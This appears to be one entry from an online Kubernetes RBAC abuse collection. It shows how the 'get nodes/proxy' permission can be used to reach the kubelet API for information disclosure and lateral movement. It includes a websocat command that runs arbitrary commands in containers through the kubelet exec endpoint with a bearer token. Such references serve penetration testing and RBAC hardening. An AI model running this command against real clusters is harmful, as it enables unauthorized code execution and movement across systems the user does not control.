can-i gtfo?

Kubernetes RBAC Abuse Collection

View on GitHub

get nodes/proxy

Abuses

Information Disclosure

Access kubelet API directly through node proxy to collect sensitive node and container information

Lateral Movement

Abuse the node proxy to execute commands in containers on other nodes, enabling lateral movement across the Kubernetes cluster

# Execute any command on a pod, eg. whoami
websocat --insecure \
  --header "Authorization: Bearer $TOKEN" \
  --protocol v4.channel.k8s.io \
  "wss://$NODE_IP:10250/exec/$NAMESPACE/$POD/$CONTAINER?output=1&error=1&command=whoami"